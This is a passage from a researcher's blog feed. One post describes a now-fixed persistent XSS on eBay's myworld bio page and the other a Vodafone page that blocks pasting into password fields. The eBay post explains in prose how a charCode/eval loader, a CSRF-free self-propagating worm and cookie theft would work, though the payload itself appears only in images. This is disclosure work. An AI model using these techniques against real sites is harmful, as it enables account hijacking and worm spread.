<figure> <a href="/images/ebayxss/ebay-xss-1.png" class="image-popup"> <img src="/images/ebayxss/ebay-xss-1.png" /> </a> </figure> <p>I don’t like the plaintext tag, as it caused the rest of the page to render horribly (as expected), so I tried a few more. &lt;fn&gt; and &lt;credit&gt; both passed through too.</p> <p>Now we have a way to inject HTML, I added an onhover event to the injected element. Without the use of quotes, we can use the <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/String/fromCharCode">String.fromCharCode</a> function and eval to load an external script - this is necessary as the character limit on the textbox is 1k.</p> <figure> <a href="/images/ebayxss/ebay-xss-2.png" class="image-popup"> <img src="/images/ebayxss/ebay-xss-2.png" /> </a> </figure> <p>From this point onwards, it is trivial to weaponise this into a working worm. We get the username from the element <em>#gh_uh</em>, construct a form post to the bio page and add ourselves to the logged in users bio.</p> <figure> <a href="/images/ebayxss/ebay-xss-3.png" class="image-popup"> <img src="/images/ebayxss/ebay-xss-3.png" /> </a> </figure> <p>There is no CSRF protection on this form, which makes it even easier as we don’t need to scrape a token from anywhere.</p> <p>In addition to this, all of the cookies are stored under *.ebay.com, and they’re <em>not</em> using <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Secure_and_HttpOnly">HTTPOnly</a> so we can steal this too.</p> <h4 id="fix">Fix</h4> <p>eBay responded by encoding all HTML entities on output.</p> <p><a href="https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/">Persistent XSS on myworld.ebay.com</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on January 27, 2013.</p> <![CDATA[Vodafone: No Pasting into Password Fields]]> https://whitton.io/archive/vodafone-no-pasting-into-password-fields 2012-10-30T00:00:00-00:00 2012-10-30T00:00:00+00:00 Jack https://whitton.io [email protected] <p>Everyone knows by now that you should use unique, random passwords for each of your online accounts, to prevent the probability that it’ll be cracked in the event that hashes are leaked, and to limit the damage caused if your plain text password is discovered.</p> <p>I, like many people, use a password manager to store each of these, and on a login form I’ll copy and paste the password into the field.</p> <p>Whilst attempting to access my Vodafone account, I noticed that using JavaScript they’ve disabled pasting into the field (both by right-click -&gt; paste, and keyboard shortcut), which is a huge inconvenience as I have to manually type it out each time.</p> <figure> <a href="/images/vodafone/vodafone-1.png" class="image-popup"> <img src="/images/vodafone/vodafone-1.png" /> </a> </figure> <p>I thought an easy way to disable this was to disable JavaScript, but apparently it’s needed for a simple POST request, so it redirects you to a “JavaScript is needed” page.</p> <figure> <a href="/images/vodafone/vodafone-2.png" class="image-popup"> <img src="/images/vodafone/vodafone-2.png" /> </a> </figure> <p>Now, I could stop this redirect using developer tools in Chrome, but an easier way is to run the following to remove the event handlers on the element. A workaround, but a workaround that shouldn’t be needed in the first place.</p> <figure> <a href="/images/vodafone/vodafone-3.png" class="image-popup"> <img src="/images/vodafone/vodafone-3.png" /> </a> </figure> <p>This is reminiscent of the disable right-click “security” implemented in the 90s.</p> <p>I’ve sent Vodafone an email, hopefully they’ll respond with an explanation and maybe (not holding my breath) a fix.</p> <p><a href="https://whitton.io/archive/vodafone-no-pasting-into-password-fields/">Vodafone: No Pasting into Password Fields</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on October 30, 2012.</p>